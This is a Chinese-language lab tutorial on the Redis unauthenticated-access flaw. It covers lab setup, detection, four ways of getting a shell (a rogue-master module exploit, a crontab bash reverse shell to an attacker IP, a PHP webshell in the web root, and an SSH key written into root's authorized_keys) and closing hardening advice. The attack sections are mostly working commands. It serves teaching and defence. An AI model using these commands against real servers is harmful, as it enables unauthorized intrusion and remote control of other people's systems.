Redis未授权访问漏洞
阅读原文时间:2021年04月20日阅读:1

1.漏洞介绍
Redis如果没有做用户认证配置(默认配置是空口令,端口6379),可以不需要验证直接远程连接Redis数据库。并且由于Redis中是把数据保存到内存中的,它会定期的把数据写会到硬盘中,
可以通过指定写入文件的位置来进行多种攻击,比如通过写入ssh密钥直接通过ssh登陆服务器或写入WebShell。

2.环境搭建
第1步:Redis下载

wget http://download.redis.io/releases/redis-4.0.9.tar.gz

第2步:Redis解压、编译

tar -zxvf redis-4.0.9.tar.gz
cd redis-4.0.9
make
make install

(redis服务的默认安装路径为/usr/local/bin)
第3步:启动Redis服务
由于在新版本的redis服务中,默认监听地址已经由原来的0.0.0.0更新为127.0.0.1,为了还原漏洞现场,修改配置文件,将监听的IP地址改为0.0.0.0。

vim redis.conf
redis-server redis.conf
( redis-cli shutdown  关闭服务)

第4步:Redis-cli下载使用

wget http://download.redis.io/releases/redis-2.8.12.tar.gz #下载
tar -xzf redis-2.8.12.tar.gz #解压
cd到redis-2.8.12 目录下
输入命令make #安装
进入redis-2.8.12/src/目录下
输入命令 ./redis-cli -h ,出现帮助内容就表示可以正常使用

再将以上内容完成之后,就可以进行相应的漏洞测试。
!!!注意:再进行漏洞复测时,有可能外网不能对端口进行正常的请求(Could not connect to Redis No route to host),这大概率是因为防火墙的原因造成,所以给出以下的解决办法:
一、停止Linux的防火墙(不建议)
$ systemctl stop firewalld.service (简单有效)
二、开放6379,6380,16379(集群总线)端口

firewall-cmd --add-port=6379/tcp --permanent
firewall-cmd --add-port=6380/tcp --permanent
firewall-cmd --add-port=16379/tcp --permanent
firewall-cmd --reload

参数解释:
1、firwall-cmd:是Linux提供的操作firewall的一个工具;
2、–permanent:表示设置为持久;
3、–add-port:标识添加的端口;

3.基本命令

redis-cli keys name5* | xargs redis-cli del   删除所有的name5开头的key值

批量插入数据脚本:
#!/bin/bash
for ((i=0;i<100000;i++))
do
echo -en "helloworld" | redis-cli -x set name$i >>redis.log
done

redis-cli 中使用命令 info Keyspace 查看存储数据的相关信息。
通过 keys * 查看所有的 key,想要释放掉的话可以删除Key来释放,
删除单个:del key

4.漏洞测试 (建议手敲)
Redis常见getshell方式有如下几种:
1、通过向Web目录中写webshell的方式进行getshell
2、通过写SSH key的方式进行getshell
3、通过写corntab的方式进行getshell
以下进行逐一的复测。
4.1.漏洞检测
利用Nmap扫描目标主机,查看是否开放6379端口

再发现Redis服务正常开启后,直接用Redis连接,发现可直接访问,还能通过info命令查看到服务器等一些有价值的信息,这就已经证明了确实存在未授权访问漏洞。
4.2.攻击利用
4.2.1.Exp利用—可执行命令,但是疑似删除内部存储数据
使用网上存在的 exp,先克隆到本地,命令:

Git clone https://github.com/vulhub/redis-rogue-getshell.git
cd 到 redis-rogue-getshell/RedisModulesSDK/exp 目录
输入命令:make ,进行编译(编译后,当前目录下会有一个exp.so的文件)
回到 redis-rogue-getshell/ 目录下
输入命令:
./redis-master.py -r 192.168.3.88 -p 6379 -L 192.168.3.94 -P 8989 -f 
RedisModulesSDK/exp/exp.so -c "whoami"
成功GETSHELL并执行了whoami的命令。


4.2.2.写corntab的方式getshell—可行,且不删除数据

corntab格式:
分 小时 日期 月 星期 命令
0-59 0-23 1-31 0-12 0-6 command
注:* 代表 取值范围的数字
/ 代表每、比如 每分钟等
例子:
/1*** php /data/www/cron.php 意思是每分钟执行cron.php
507*** /sbin/service sshd start 意思是每天7:50 开启ssh服务

第1步:通过redis-cli进入交互式shell
./redis-cli  -h 192.168.3.88
第2步:设置文件夹路径
config set dir /var/spool/cron/
第3步:修改备份文件名
config set dbfilename root
第4步:设置计划任务
set xx "\n\n\n* * * * *  bash -i >& /dev/tcp/192.168.3.94/9999 0>&1\n\n\n"


第5步:保存
第6步:攻击机监听机器指定端口,接收反弹shell
nc -v -l -p 9999

4.2.3.通过向Web目录中写webshell的方式进行getshell—可行,且不删除数据
限制条件:Web目录已知,当前用户在该目录下具有写权限。

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save

直接菜刀连接,搞定!


4.2.4.写ssh-keygen公钥然后私钥登录—可行,且不删除数据
利用条件:
1.Redis服务使用ROOT账号启动
2.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

原理:
用户将自己的公钥储存在远程主机上。登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求密码。
这种方法要求用户必须提供自己的公钥。如果没有现成的,可以直接用ssh-keygen生成一个:ssh-keygen
在这个的过程中,一路回车就行,尽量不要对私钥设置口令,运行结束以后,在/.ssh/目录下,会新生成两个文件:id_rsa.pub和id_rsa。前者就是公钥,后者就是私钥。
远程主机将用户的公钥,保存在登录后的用户主目录的/.ssh/authorized_keys文件中。公钥就是一段字符串,只要把它追加在authorized_keys文件的末尾就行了。
所以我们将生成的公钥传输到远程主机上,等待着一会私钥连接就行。

操作流程:
首先在本地生成一对密钥,这里的话尽可能在root目录下:

root@kali:~/.ssh# ssh-keygen -t rsa

查看 id_rsa.pub

然后Redis执行命令

192.168.63.130:6379> config set dir /root/.ssh/ 
OK 
192.168.63.130:6379> config set dbfilename authorized_keys 
OK 
192.168.63.130:6379> set x "\n\n\nssh-rsa Asddsadasd root@kali\n\n\n"  (这里的Asddsadasd 就是上面提到的id_rsa.pub
内容,完完全全粘贴下来就行)
 OK 
192.168.63.130:6379> save
 OK

save后可以直接利用公钥登录ssh

ssh -i id_rsa root@192.168.3.88

5.防御措施
到Redis安装目录下,配置redis.conf文件:
1、默认只对本地开放
bind 127.0.0.1
如果需要其他机器访问,或者设置了slave模式,需添加相应的防火墙设置。命令如下:
iptables -A INPUT -sx.x.x.x -p tcp --dport 6379 -j ACCEPT
2、添加登陆密码
requirepass mypasswd
3、在需要对外开放的时候修改默认端口(端口不重复就可以)
4、以低权限运行 Redis 服务(重启Redis才能生效 /etc/init.d/redis-serverrestart)